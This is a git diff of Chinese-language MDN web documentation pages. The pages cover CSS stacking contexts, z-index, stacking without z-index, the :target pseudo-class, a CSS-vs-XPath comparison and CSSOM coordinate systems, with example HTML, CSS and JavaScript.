二级菜单相对其父元素(一级菜单)绝对定位,要使二级菜单在所有一级菜单的上方,则需要使用z-index。此时每个二级菜单都创建了一个层叠上下文,而三级菜单也处于其父元素(二级菜单)创建的上下文中。

+ +

这样一来,在HTML结构中处于三级菜单后面的二级菜单,则会显示在三级菜单的上方,因为所有的二级菜单都使用了同样的z-index值,所以处于同一个层叠上下文中。

+ +

为了能更好地理解这种情况,这里列出了层叠上下文的层次结构:

+ +
    +
  • root stacking context +
      +
    • LEVEL #1 +
        +
      • LEVEL #2 (z-index: 1) +
          +
        • LEVEL #3
        • +
        • ...
        • +
        • LEVEL #3
        • +
        +
      • +
      • LEVEL #2 (z-index: 1)
      • +
      • ...
      • +
      • LEVEL #2 (z-index: 1)
      • +
      +
    • +
    • LEVEL #1
    • +
    • ...
    • +
    • LEVEL #1
    • +
    +
  • +
+ +

可以通过移除不同级别的菜单之间的重叠,或者使用ID选择器指定独立的(不同的)z-index值,或者减少HTML的层级来解决这个问题。

+ +
Note: 在源码中你会看到三级菜单和二级菜单是由一个绝对定位元素包含很多div来实现的,这种方式在需要同时定位一组元素时很有用。
+ +

示例源码

+ +
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html>
+<head><style type="text/css">
+
+div { font: 12px Arial; }
+
+span.bold { font-weight: bold; }
+
+div.lev1 {
+   width: 250px;
+   height: 70px;
+   position: relative;
+   border: 2px outset #669966;
+   background-color: #ccffcc;
+   padding-left: 5px;
+}
+
+#container1 {
+   z-index: 1;
+   position: absolute;
+   top: 30px;
+   left: 75px;
+}
+
+div.lev2 {
+   opacity: 0.9;
+   width: 200px;
+   height: 60px;
+   position: relative;
+   border: 2px outset #990000;
+   background-color: #ffdddd;
+   padding-left: 5px;
+}
+
+#container2 {
+   z-index: 1;
+   position: absolute;
+   top: 20px;
+   left: 110px;
+}
+
+div.lev3 {
+   z-index: 10;
+   width: 100px;
+   position: relative;
+   border: 2px outset #000099;
+   background-color: #ddddff;
+   padding-left: 5px;
+}
+
+</style></head>
+
+<body>
+
+<br />
+
+<div class="lev1">
+<span class="bold">LEVEL #1</span>
+
+   <div id="container1">
+
+      <div class="lev2">
+      <br /><span class="bold">LEVEL #2</span>
+      <br />z-index: 1;
+
+         <div id="container2">
+
+            <div class="lev3"><span class="bold">LEVEL #3</span></div>
+            <div class="lev3"><span class="bold">LEVEL #3</span></div>
+            <div class="lev3"><span class="bold">LEVEL #3</span></div>
+            <div class="lev3"><span class="bold">LEVEL #3</span></div>
+            <div class="lev3"><span class="bold">LEVEL #3</span></div>
+            <div class="lev3"><span class="bold">LEVEL #3</span></div>
+            <div class="lev3"><span class="bold">LEVEL #3</span></div>
+            <div class="lev3"><span class="bold">LEVEL #3</span></div>
+            <div class="lev3"><span class="bold">LEVEL #3</span></div>
+            <div class="lev3"><span class="bold">LEVEL #3</span></div>
+            <div class="lev3"><span class="bold">LEVEL #3</span></div>
+
+         </div>
+
+      </div>
+
+      <div class="lev2">
+      <br /><span class="bold">LEVEL #2</span>
+      <br />z-index: 1;
+      </div>
+
+   </div>
+</div>
+
+<div class="lev1">
+<span class="bold">LEVEL #1</span>
+</div>
+
+<div class="lev1">
+<span class="bold">LEVEL #1</span>
+</div>
+
+<div class="lev1">
+<span class="bold">LEVEL #1</span>
+</div>
+
+</body></html>
+
+ +

相关文章

+ + + +
+

原文信息

+ + +
+ +

Note: the reason the sample image looks wrong - with the second level 2 overlapping the level 3 menus - is because level 2 has opacity, which creates a new stacking context. Basically, this whole sample page is incorrect and misleading.

diff --git a/files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_without_z-index/index.html b/files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_without_z-index/index.html new file mode 100644 index 0000000000..a5aaebdc95 --- /dev/null +++ b/files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_without_z-index/index.html @@ -0,0 +1,161 @@ +--- +title: Stacking without z-index +slug: Web/Guide/CSS/Understanding_z_index/Stacking_without_z-index +translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_without_z-index +--- +

« CSS « 理解 CSS z-index

+ +

不含z-index的堆叠

+ +

当没有元素包含z-index属性时,元素按照如下顺序堆叠(从底到顶顺序):

+ +
    +
  1. 根元素的背景和边界
  2. +
  3. 普通流(无定位)里的块元素(没有position或者position:static;)按HTML中的出现顺序堆叠
  4. +
  5. 定位元素按HTML中的出现顺序堆叠
  6. +
+ +

在接下来的例子中,相对和绝对定位的块元素的大小和位置刚好说明上述堆叠规则。

+ +
+

Notes:

+ +
    +
  • 在一组由不含有任何z-index属性的同类元素,如例子中的定位块元素(DIV #1 至 #4),这些元素按照它们在HTML结构中出现的顺序堆叠,而不管它们的定位属性如何。
  • +
  • +

    普通流中不含有定位属性的标准块元素(DIV #5)始终先于定位元素渲染并出现在定位元素的下层,即便它们在HTML结构中出现的位置晚于定位元素也是如此。

    +
  • +
+
+ +

understanding_zindex_01.png

+ +

 

+ +

示例

+ +
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html>
+<head><style type="text/css">
+
+div {
+   font: 12px Arial;
+}
+
+span.bold { font-weight: bold; }
+
+#normdiv {
+   height: 70px;
+   border: 1px dashed #999966;
+   background-color: #ffffcc;
+   margin: 0px 50px 0px 50px;
+   text-align: center;
+}
+
+#reldiv1 {
+   opacity: 0.7;
+   height: 100px;
+   position: relative;
+   top: 30px;
+   border: 1px dashed #669966;
+   background-color: #ccffcc;
+   margin: 0px 50px 0px 50px;
+   text-align: center;
+}
+
+#reldiv2 {
+   opacity: 0.7;
+   height: 100px;
+   position: relative;
+   top: 15px;
+   left: 20px;
+   border: 1px dashed #669966;
+   background-color: #ccffcc;
+   margin: 0px 50px 0px 50px;
+   text-align: center;
+}
+
+#absdiv1 {
+   opacity: 0.7;
+   position: absolute;
+   width: 150px;
+   height: 350px;
+   top: 10px;
+   left: 10px;
+   border: 1px dashed #990000;
+   background-color: #ffdddd;
+   text-align: center;
+}
+
+#absdiv2 {
+   opacity: 0.7;
+   position: absolute;
+   width: 150px;
+   height: 350px;
+   top: 10px;
+   right: 10px;
+   border: 1px dashed #990000;
+   background-color: #ffdddd;
+   text-align: center;
+}
+
+</style></head>
+
+<body>
+
+<br /><br />
+
+<div id="absdiv1">
+   <br /><span class="bold">DIV #1</span>
+   <br />position: absolute;
+</div>
+
+<div id="reldiv1">
+   <br /><span class="bold">DIV #2</span>
+   <br />position: relative;
+</div>
+
+<div id="reldiv2">
+   <br /><span class="bold">DIV #3</span>
+   <br />position: relative;
+</div>
+
+<div id="absdiv2">
+   <br /><span class="bold">DIV #4</span>
+   <br />position: absolute;
+</div>
+
+<div id="normdiv">
+   <br /><span class="bold">DIV #5</span>
+   <br />no positioning
+</div>
+
+</body></html>
+
+
+ +

See also

+ + + +

 

+ +
+

Original Document Information

+ + +
+ +

{{ languages( { "fr": "fr/CSS/Comprendre_z-index/Empilement_sans_z-index" } ) }}

diff --git a/files/zh-cn/web/css/css_positioning/understanding_z_index/the_stacking_context/index.html b/files/zh-cn/web/css/css_positioning/understanding_z_index/the_stacking_context/index.html new file mode 100644 index 0000000000..6d96e3e198 --- /dev/null +++ b/files/zh-cn/web/css/css_positioning/understanding_z_index/the_stacking_context/index.html @@ -0,0 +1,240 @@ +--- +title: 层叠上下文 +slug: Web/Guide/CSS/Understanding_z_index/The_stacking_context +tags: + - Advanced + - CSS + - CSS层叠上下文 + - z-index + - 教程 +translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_context +--- +
{{cssref}}
+ +

我们假定用户正面向(浏览器)视窗或网页,而 HTML 元素沿着其相对于用户的一条虚构的 z 轴排开,层叠上下文就是对这些 HTML 元素的一个三维构想。众 HTML 元素基于其元素属性按照优先级顺序占据这个空间。

+ +

层叠上下文

+ +

在本篇之前的部分——运用 z-index,(我们认识到)某些元素的渲染顺序是由其 z-index 的值影响的。这是因为这些元素具有能够使他们形成一个层叠上下文的特殊属性

+ +

文档中的层叠上下文由满足以下任意一个条件的元素形成:

+ +
    +
  • 文档根元素(<html>);
  • +
  • {{cssxref("position")}} 值为 absolute(绝对定位)或  relative(相对定位)且 {{cssxref("z-index")}} 值不为 auto 的元素;
  • +
  • {{cssxref("position")}} 值为 fixed(固定定位)或 sticky(粘滞定位)的元素(沾滞定位适配所有移动设备上的浏览器,但老的桌面浏览器不支持);
  • +
  • flex ({{cssxref("flexbox")}}) 容器的子元素,且 {{cssxref("z-index")}} 值不为 auto
  • +
  • grid ({{cssxref("grid")}}) 容器的子元素,且 {{cssxref("z-index")}} 值不为 auto
  • +
  • {{cssxref("opacity")}} 属性值小于 1 的元素(参见 the specification for opacity);
  • +
  • {{cssxref("mix-blend-mode")}} 属性值不为 normal 的元素;
  • +
  • 以下任意属性值不为 none 的元素: +
      +
    • {{cssxref("transform")}}
    • +
    • {{cssxref("filter")}}
    • +
    • {{cssxref("perspective")}}
    • +
    • {{cssxref("clip-path")}}
    • +
    • {{cssxref("mask")}} / {{cssxref("mask-image")}} / {{cssxref("mask-border")}}
    • +
    +
  • +
  • {{cssxref("isolation")}} 属性值为 isolate 的元素;
  • +
  • {{cssxref("-webkit-overflow-scrolling")}} 属性值为 touch 的元素;
  • +
  • {{cssxref("will-change")}} 值设定了任一属性而该属性在 non-initial 值时会创建层叠上下文的元素(参考这篇文章);
  • +
  • {{cssxref("contain")}} 属性值为 layoutpaint 或包含它们其中之一的合成值(比如 contain: strictcontain: content)的元素。
  • +
+ +

在层叠上下文中,子元素同样也按照上面解释的规则进行层叠。 重要的是,其子级层叠上下文的 z-index 值只在父级中才有意义。子级层叠上下文被自动视为父级层叠上下文的一个独立单元。

+ +

总结:

+ +
    +
  • 层叠上下文可以包含在其他层叠上下文中,并且一起创建一个层叠上下文的层级。
  • +
  • 每个层叠上下文都完全独立于它的兄弟元素:当处理层叠时只考虑子元素。
  • +
  • 每个层叠上下文都是自包含的:当一个元素的内容发生层叠后,该元素将被作为整体在父级层叠上下文中按顺序进行层叠。
  • +
+ +
Note: 层叠上下文的层级是 HTML 元素层级的一个子级,因为只有某些元素才会创建层叠上下文。可以这样说,没有创建自己的层叠上下文的元素会被父层叠上下文同化
+ +

示例

+ +

Example of stacking rules modified using z-index

+ +

在这个例子中,每个被定位的元素都创建了独自的层叠上下文,因为他们被指定了定位属性和 z-index 值。我们把层叠上下文的层级列在下面:

+ +
    +
  • Root +
      +
    • DIV #1
    • +
    • DIV #2
    • +
    • DIV #3 +
        +
      • DIV #4
      • +
      • DIV #5
      • +
      • DIV #6
      • +
      +
    • +
    +
  • +
+ +

请一定要注意 DIV #4,DIV #5 和 DIV #6 是 DIV #3 的子元素,所以它们的层叠完全在 DIV #3 中被处理。一旦 DIV #3 中的层叠和渲染处理完成,DIV #3 元素就被作为一个整体传递与兄弟元素的 DIV 在 root(根)元素进行层叠。

+ +
+

注意:

+ +
    +
  • DIV #4 被渲染在 DIV #1 之下,因为 DIV #1 的 z-index (5) 在 root 元素的层叠上下文中生效,而 DIV #4 的 z-index (6) 在 DIV #3 的层叠上下文中生效。因此,DIV #4 在 DIV #1 之下,因为 DIV #4 归属于 z-index 值较低的 DIV #3 元素。
  • +
  • 由此可得 DIV #2 (z-index 2) 被渲染在 DIV #5 (z-index 1) 之下,因为 DIV #5 归属于 z-index 较高的 DIV #3 元素。
  • +
  • DIV #3 的 z-index 值是 4,但是这个值独立于 DIV #4,DIV #5 和 DIV #6 的 z-index 值,因为他们从属于不同的层叠上下文。
  • +
  • 分辨出层叠的元素在 Z 轴上的渲染顺序的一个简单方法是将它们想象成一系列的版本号,子元素是其父元素版本号之下的次要版本。通过这个方法我们可以轻松地看出为什么一个 z-index 为 1 的元素(DIV #5)层叠于一个 z-index 为 2 的元素(DIV #2)之上,而一个 z-index 为 6 的元素(DIV #4)层叠于 z-index 为 5 的元素(DIV #1)之下。在我们的例子中(依照最终渲染次序排列): +
      +
    • Root +
        +
      • DIV #2 - z-index 为 2
      • +
      • DIV #3 - z-index 为 4 +
          +
        • DIV #5 - z-index 为 1,在一个 z-index 为 4 的元素内层叠,所以渲染次序为 4.1
        • +
        • DIV #6 - z-index 为 3,在一个 z-index 为 4 的元素内层叠,所以渲染次序为 4.3
        • +
        • DIV #4 - z-index 为 6,在一个 z-index 为 4 的元素内层叠,所以渲染次序为 4.6
        • +
        +
      • +
      • DIV #1 - z-index 为 5
      • +
      +
    • +
    +
  • +
+
+ +

示例源码

+ +

HTML

+ +
<div id="div1">
+  <h1>Division Element #1</h1>
+  <code>position: relative;<br/>
+  z-index: 5;</code>
+</div>
+
+<div id="div2">
+  <h1>Division Element #2</h1>
+  <code>position: relative;<br/>
+  z-index: 2;</code>
+</div>
+
+<div id="div3">
+  <div id="div4">
+    <h1>Division Element #4</h1>
+    <code>position: relative;<br/>
+    z-index: 6;</code>
+  </div>
+
+  <h1>Division Element #3</h1>
+  <code>position: absolute;<br/>
+  z-index: 4;</code>
+
+  <div id="div5">
+    <h1>Division Element #5</h1>
+    <code>position: relative;<br/>
+    z-index: 1;</code>
+  </div>
+
+  <div id="div6">
+    <h1>Division Element #6</h1>
+    <code>position: absolute;<br/>
+    z-index: 3;</code>
+  </div>
+</div>
+ +

CSS

+ +
* {
+    margin: 0;
+}
+html {
+    padding: 20px;
+    font: 12px/20px Arial, sans-serif;
+}
+div {
+    opacity: 0.7;
+    position: relative;
+}
+h1 {
+    font: inherit;
+    font-weight: bold;
+}
+#div1,
+#div2 {
+    border: 1px dashed #696;
+    padding: 10px;
+    background-color: #cfc;
+}
+#div1 {
+    z-index: 5;
+    margin-bottom: 190px;
+}
+#div2 {
+    z-index: 2;
+}
+#div3 {
+    z-index: 4;
+    opacity: 1;
+    position: absolute;
+    top: 40px;
+    left: 180px;
+    width: 330px;
+    border: 1px dashed #900;
+    background-color: #fdd;
+    padding: 40px 20px 20px;
+}
+#div4,
+#div5 {
+    border: 1px dashed #996;
+    background-color: #ffc;
+}
+#div4 {
+    z-index: 6;
+    margin-bottom: 15px;
+    padding: 25px 10px 5px;
+}
+#div5 {
+    z-index: 1;
+    margin-top: 15px;
+    padding: 5px 10px;
+}
+#div6 {
+    z-index: 3;
+    position: absolute;
+    top: 20px;
+    left: 180px;
+    width: 150px;
+    height: 125px;
+    border: 1px dashed #009;
+    padding-top: 125px;
+    background-color: #ddf;
+    text-align: center;
+}
+ +

Result

+ +

{{EmbedLiveSample('示例源码', '100%', '396') }}

+ +

参考

+ + + +
+

原始文档信息

+ + +
diff --git a/files/zh-cn/web/css/css_selectors/comparison_with_xpath/index.html b/files/zh-cn/web/css/css_selectors/comparison_with_xpath/index.html deleted file mode 100644 index c196e077e6..0000000000 --- a/files/zh-cn/web/css/css_selectors/comparison_with_xpath/index.html +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: Comparison of CSS Selectors and XPath -slug: Web/CSS/CSS_Selectors/Comparison_with_XPath -translation_of: Web/XPath/Comparison_with_CSS_selectors ---- -
{{CSSRef("Selectors")}}{{QuickLinksWithSubpages("/en-US/docs/Web/XPath")}}{{Draft}}
- -

本文旨在记录CSS选择器和XPath之间的区别,以便Web开发人员能够更好地为正确的工作选择合适的工具。

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
XPath featureCSS equivalent
ancestor, parent or preceding-sibling axis{{CSSxRef(":has",":has()")}} selector {{experimental_inline}}
attribute axisAttribute selectors
child axisChild combinator
descendant axisDescendant combinator
following-sibling axisGeneral sibling combinator or adjacent sibling combinator
self axis{{CSSxRef(":scope")}} or {{CSSxRef(":host")}} selector
diff --git a/files/zh-cn/web/css/css_selectors/using_the__colon_target_pseudo-class_in_selectors/index.html b/files/zh-cn/web/css/css_selectors/using_the__colon_target_pseudo-class_in_selectors/index.html new file mode 100644 index 0000000000..65883df437 --- /dev/null +++ b/files/zh-cn/web/css/css_selectors/using_the__colon_target_pseudo-class_in_selectors/index.html @@ -0,0 +1,68 @@ +--- +title: '在选择器中使用 :target 伪类' +slug: 'Web/Guide/CSS/Using_the_:target_selector' +tags: + - CSS + - CSS_3 + - Selectors +translation_of: 'Web/CSS/CSS_Selectors/Using_the_:target_pseudo-class_in_selectors' +--- +

{{CSSRef}}

+ +

为了辅助标识那些指向文档特定部分链接的目标, CSS3 选择器 引入了 {{ Cssxref(":target") }} 伪类. Netscape 7.1 已经在 Netscape 系列中加入了这个伪类的支持, 这一新的举措让页面作者能够辅助用户在较大的页面中定位。 

+ +

选择一个目标

+ +

{{ Cssxref(":target") }} 伪类用来指定那些包含片段标识符的 URI 的目标元素样式。 例如, http://developer.mozilla.org/en/docs/Using_the_:target_selector#Example 这个 URI 包含了 #Example 片段标识符。 在HTML中, 标识符是元素的id或者name属性,。由于这两者位于相同的命名空间, 因此, 这个示例 URI 指向的是文档顶层的 "Example" 。

+ +

假设你想修改 URI 指向的任何 h2 元素,但是又不想把样式应用到任何其它同类型的元素,那么以下示例足够简单有用:

+ +
h2:target {font-weight: bold;}
+ +

同样的,将样式应用于特定的文档片段也是可行的。这是通过使用 URI 中相同的标识符实现的。例如,要在 #Example 文档片段中加入边框,我们可以通过如下代码实现: 

+ +
#Example:target {border: 1px solid black;}
+ +

定位所有元素

+ +

如果想要创建应用于所有目标元素的样式,那么可以使用通用选择器:

+ +
:target {color: red;}
+
+ +

示例

+ +

在以下示例中, 5个链接指向了同一文档中的元素。例如,选择 "First" 链接会导致 <h1 id="one"> 成为目标元素。 注意,由于目标元素有可能会被放置到浏览器窗口的顶层,因此文档可能会跳到新的滚动位置。

+ +
+
<h4 id="one">...</h4> <p id="two">...</p>
+<div id="three">...</div> <a id="four">...</a> <em id="five">...</em>
+
+<a href="#one">First</a>
+<a href="#two">Second</a>
+<a href="#three">Third</a>
+<a href="#four">Fourth</a>
+<a href="#five">Fifth</a>
+
+ +

结论

+ +

在片段标识符指向部分文档的情况下,读者可能会对到底应该阅读文档的哪一部分感到疑惑。通过对不同的目标元素的样式进行修饰, 读者的相关疑惑会减少或者消除。

+ + + + + +
+

Original Document Information

+ +
    +
  • Author(s): Eric Meyer, Standards Evangelist, Netscape Communications
  • +
  • Last Updated Date: Published 30 Jun 2003
  • +
  • Copyright Information: Copyright © 2001-2003 Netscape. All rights reserved.
  • +
  • Note: This reprinted article was originally part of the DevEdge site.
  • +
+
diff --git "a/files/zh-cn/web/css/css_\345\210\206\347\211\207/index.html" "b/files/zh-cn/web/css/css_\345\210\206\347\211\207/index.html" deleted file mode 100644 index 5b0d8e7a13..0000000000 --- "a/files/zh-cn/web/css/css_\345\210\206\347\211\207/index.html" +++ /dev/null @@ -1,46 +0,0 @@ ---- -title: CSS分片 -slug: Web/CSS/CSS_分片 -tags: - - CSS - - CSS分片 - - 参考 -translation_of: Web/CSS/CSS_Fragmentation ---- -
{{cssref}}
- -

CSS FragmentationCSS的模块,它定义了内容在跨多个页面,区域或列中被分割(分段)时如何显示

- -

当一个内联框包装成多行时会发生碎片。当一个块跨越一个列布局容器内的多个列,或者在打印时跨越一个分页符时,也会发生这种情况。元素的每个渲染片段称为一个片段

- -

参考

- -
-
    -
  • {{cssxref("box-decoration-break")}}
  • -
  • {{cssxref("break-after")}}
  • -
  • {{cssxref("break-before")}}
  • -
  • {{cssxref("break-inside")}}
  • -
  • {{cssxref("orphans")}}
  • -
  • {{cssxref("widows")}}
  • -
-
- -

规格

- - - - - - - - - - - - - - - - -
规格状态评论
{{SpecName('CSS3 Fragmentation')}}{{Spec2('CSS3 Fragmentation')}}初始定义。
diff --git a/files/zh-cn/web/css/cssom_view/coordinate_systems/index.html b/files/zh-cn/web/css/cssom_view/coordinate_systems/index.html new file mode 100644 index 0000000000..d6ea967a43 --- /dev/null +++ b/files/zh-cn/web/css/cssom_view/coordinate_systems/index.html @@ -0,0 +1,178 @@ +--- +title: 坐标系 +slug: Web/CSS/CSSOM_View/坐标系 +translation_of: Web/CSS/CSSOM_View/Coordinate_systems +--- +
{{cssref}}
+ +

当我们需要在图形上指定一点的坐标{{interwiki("wikipedia", "algebra")}}),这个坐标需要先对于某一个固定点. 这个固定点我们称为原点{{interwiki("wikipedia", "Origin_(mathematics)", "origin")}}. 这个指定点的坐标即为包含在各个维度上相对于远点的距离值。

+ +

下面我将谈谈基于CSS对象模型的坐标系系统。大体上来讲这些坐标系唯一的不同就是坐标原点不一样。

+ +

Dimensions坐标维度

+ +

在网页技术里,通常来讲,相对于坐标原点,x轴指向右为正值,向左为负值;y轴向下为正值,向上为负值。

+ +

On the web, the default origin is the top-left corner of a given context (with positive y-coordinate values being below the origin). Note that this is unlike most mathematical models, where the origin is at the bottom-left corner, with positive y-coordinate values being above the origin.

+ +

When drawing 3D graphics, or using a third dimension to layer objects from front to back, the z-coordinate is also used. This specifies the distance away from the viewer if positive and toward the viewer if negative.

+ +
+

It's actually possible to change the definitions and orientations of these coordinate systems using CSS properties such as {{cssxref("transform")}}. However, we'll only talk about the standard coordinate system for now.

+
+ +

Standard CSSOM coordinate systems

+ +

There are four standard coordinate systems used by the CSS object model, as described below.

+ +

Offset

+ +

Coordinates specified using the "offset" model use the top-left corner of the element being examined, or on which an event has occurred.

+ +

For example, when a {{domxref("MouseEvent", "mouse event", "", 1)}} occurs, the position of the mouse as specified in the event's {{domxref("MouseEvent.offsetX", "offsetX")}} and {{domxref("MouseEvent.offsetY", "offsetY")}} properties are given relative to the top-left corner of the node to which the event has been delivered. The origin is inset by the distances specified by {{cssxref("padding-left")}} and {{cssxref("padding-top")}}.

+ +

Client

+ +

The "client" coordinate system uses as its origin the top-left corner of the viewport or browsing context in which the event occurred. This is the entire viewing area in which the document is presented. Scrolling is not a factor.

+ +

On a desktop computer, for example, the {{domxref("MouseEvent.clientX")}} and {{domxref("MouseEvent.clientY")}} properties indicate the position of the mouse cursor at the moment the event occurred, relative to the top-left corner of the browser window. The top-left corner of the window is always (0, 0), regardless of the content of the document or any scrolling that may have been done. In other words, scrolling the document will change the client coordinates of a given position within the document.

+ +

Page

+ +

The "page" coordinate system gives the position of a pixel relative to the top-left corner of the entire {{domxref("Document")}} in which the pixel is located. That means that a given point in an element within the document will keep the same coordinates in the page model unless the element moves (either directly by changing its position or indirectly by adding or resizing other content).

+ +

Mouse events' {{domxref("MouseEvent.pageX", "pageX")}} and {{domxref("MouseEvent.pageY", "pageY")}} properties provide the position of the mouse at the time the event was generated, given relative to the top-left corner of the document.

+ +

Screen

+ +

Finally, we come to the "screen" model. It's probably fairly obvious what this is: it's the coordinate system where the origin is located at the top-left corner of the user's entire screen space. This means that the position of a given point within a document will change if the containing window is moved, for example, or if the user's screen geometry changes (by changing display resolution or by adding or removing monitors to their system).

+ +

The {{domxref("MouseEvent.screenX")}} and {{domxref("MouseEvent.screenY")}} properties give the coordinates of a mouse event's position relative to the screen's origin.

+ +

Example

+ +

Let's take a look at an example. This simple example creates a set of nested boxes. Whenever the mouse enters, moves around inside, or exits the inner box, the corresponding event is handled by updating a set of informational messages within the box, listing out the current mouse coordinates in each of the four available coordinate systems.

+ +

JavaScript

+ +

Let's look at the script in two sections. First, the code that logs the coordinates to the screen. This code will be called by the event handler for the various mouse events we watch.

+ +

Displaying the coordinates

+ +

As we'll see in the HTML, the inner box (the one we're watching for events on) contains several paragraphs; one for each of the four coordinate systems we'll be reporting on.

+ +
let inner = document.querySelector(".inner");
+let log = document.querySelector(".log");
+
+function setCoords(e, type) {
+  let idX = type + "X";
+  let idY = type + "Y";
+
+  document.getElementById(idX).innerText = e[idX];
+  document.getElementById(idY).innerText = e[idY];
+}
+
+ +

A reference to the {{HTMLElement("div")}} inside the inner box which contains the paragraphs that will show the coordinate information is fetched into log.

+ +

The setCoords() function is designed to accept as input a {{domxref("MouseEvent")}} and the name of the origin to use when obtaining the coordinates. The implementation is then quite simple. The variables idX and idY are set to strings with the names of the properties corresponding to the coordinates in the given coordinate system. For example, if the value of type is "page", then idX is "pageX" and idY is "pageY".

+ +

Handling the mouse events

+ +

setCoords() is called by the event handler for the various mouse events, named update(); this is shown below.

+ +
function update(e) {
+  setCoords(e, "offset");
+  setCoords(e, "client");
+  setCoords(e, "page");
+  setCoords(e, "screen");
+}
+
+inner.addEventListener("mouseenter", update, false);
+inner.addEventListener("mousemove", update, false);
+inner.addEventListener("mouseleave", update, false);
+ +

The event handler is in the update() method. It simply calls setCoords() once for each coordinate system, passing in the event that occurred.

+ +

Our main code sets up the event handlers on the inner box by calling {{domxref("EventTarget.addEventListener", "addEventListener()")}} for each of the types {{event("mouseenter")}}, {{event("mousemove")}}, and {{event("mouseleave")}}.

+ +

HTML

+ +

The HTML for our example is below. Note that within the <div> with the ID "log", we have a paragraph for each coordinate system, with {{domxref("span")}} used for each of the elements to receive and display the coordinates in each model.

+ +
<div class="outer">
+  <div class="inner">
+    <div class="log">
+      <p>
+        Offset-relative: <span id="offsetX">0</span>,
+        <span id="offsetY">0</span>
+      </p>
+      <p>
+        Client-relative: <span id="clientX">0</span>,
+        <span id="clientY">0</span>
+      </p>
+      <p>
+        Page-relative: <span id="pageX">0</span>,
+        <span id="pageY">0</span>
+      </p>
+      <p>
+        Screen-relative: <span id="screenX">0</span>,
+        <span id="screenY">0</span>
+      </p>
+    </div>
+  </div>
+</div>
+ +
+

CSS

+
+ +

The CSS is pretty much just for appearances here. The class "outer" is used for the containing box, which is intentionally too wide to show in the MDN window, to allow you to scroll it horizontally. The "inner" box is the one that we track events in and in which we show the mouse coordinates.

+ +
.outer {
+  width: 1000px;
+  height: 200px;
+  background-color: red;
+}
+
+.inner {
+  position: relative;
+  width: 500px;
+  height: 150px;
+  top: 25px;
+  left: 100px;
+  background-color: blue;
+  color: white;
+  cursor: crosshair;
+  user-select: none;
+  -moz-user-select: none;
+  -ms-user-select: none;
+  -webkit-user-select: none;
+}
+
+.log {
+  position: relative;
+  width: 100%;
+  text-align: center;
+}
+
+ +

Result

+ +

Here you can see the results in action. As you mouse in and around the blue box, watch the values of the mouse's X and Y coordinates change in the various coordinate systems in which you can obtain the values. Note also the effect of scrolling the example horizontally upon the values returned and how the value of clientX doesn't change.

+ +

{{EmbedLiveSample("Example", 600, 250)}}

+ +

See also

+ +
    +
  • Using CSS transforms: how to alter a coordinate system
  • +
  • Coordinates of a mouse event: +
      +
    • {{domxref("MouseEvent.offsetX")}} and {{domxref("MouseEvent.offsetY")}}
    • +
    • {{domxref("MouseEvent.clientX")}} and {{domxref("MouseEvent.clientY")}}
    • +
    • {{domxref("MouseEvent.pageX")}} and {{domxref("MouseEvent.pageY")}}
    • +
    • {{domxref("MouseEvent.screenX")}} and {{domxref("MouseEvent.screenY")}}
    • +
    +
  • +
diff --git "a/files/zh-cn/web/css/cssom_view/\345\235\220\346\240\207\347\263\273/index.html" "b/files/zh-cn/web/css/cssom_view/\345\235\220\346\240\207\347\263\273/index.html" deleted file mode 100644 index d6ea967a43..0000000000 --- "a/files/zh-cn/web/css/cssom_view/\345\235\220\346\240\207\347\263\273/index.html" +++ /dev/null @@ -1,178 +0,0 @@ ---- -title: 坐标系 -slug: Web/CSS/CSSOM_View/坐标系 -translation_of: Web/CSS/CSSOM_View/Coordinate_systems ---- -
{{cssref}}
- -

当我们需要在图形上指定一点的坐标{{interwiki("wikipedia", "algebra")}}),这个坐标需要先对于某一个固定点. 这个固定点我们称为原点{{interwiki("wikipedia", "Origin_(mathematics)", "origin")}}. 这个指定点的坐标即为包含在各个维度上相对于远点的距离值。

- -

下面我将谈谈基于CSS对象模型的坐标系系统。大体上来讲这些坐标系唯一的不同就是坐标原点不一样。

- -

Dimensions坐标维度

- -

在网页技术里,通常来讲,相对于坐标原点,x轴指向右为正值,向左为负值;y轴向下为正值,向上为负值。

- -

On the web, the default origin is the top-left corner of a given context (with positive y-coordinate values being below the origin). Note that this is unlike most mathematical models, where the origin is at the bottom-left corner, with positive y-coordinate values being above the origin.

- -

When drawing 3D graphics, or using a third dimension to layer objects from front to back, the z-coordinate is also used. This specifies the distance away from the viewer if positive and toward the viewer if negative.

- -
-

It's actually possible to change the definitions and orientations of these coordinate systems using CSS properties such as {{cssxref("transform")}}. However, we'll only talk about the standard coordinate system for now.

-
- -

Standard CSSOM coordinate systems

- -

There are four standard coordinate systems used by the CSS object model, as described below.

- -

Offset

- -

Coordinates specified using the "offset" model use the top-left corner of the element being examined, or on which an event has occurred.

- -

For example, when a {{domxref("MouseEvent", "mouse event", "", 1)}} occurs, the position of the mouse as specified in the event's {{domxref("MouseEvent.offsetX", "offsetX")}} and {{domxref("MouseEvent.offsetY", "offsetY")}} properties are given relative to the top-left corner of the node to which the event has been delivered. The origin is inset by the distances specified by {{cssxref("padding-left")}} and {{cssxref("padding-top")}}.

- -

Client

- -

The "client" coordinate system uses as its origin the top-left corner of the viewport or browsing context in which the event occurred. This is the entire viewing area in which the document is presented. Scrolling is not a factor.

- -

On a desktop computer, for example, the {{domxref("MouseEvent.clientX")}} and {{domxref("MouseEvent.clientY")}} properties indicate the position of the mouse cursor at the moment the event occurred, relative to the top-left corner of the browser window. The top-left corner of the window is always (0, 0), regardless of the content of the document or any scrolling that may have been done. In other words, scrolling the document will change the client coordinates of a given position within the document.

- -

Page

- -

The "page" coordinate system gives the position of a pixel relative to the top-left corner of the entire {{domxref("Document")}} in which the pixel is located. That means that a given point in an element within the document will keep the same coordinates in the page model unless the element moves (either directly by changing its position or indirectly by adding or resizing other content).

- -

Mouse events' {{domxref("MouseEvent.pageX", "pageX")}} and {{domxref("MouseEvent.pageY", "pageY")}} properties provide the position of the mouse at the time the event was generated, given relative to the top-left corner of the document.

- -

Screen

- -

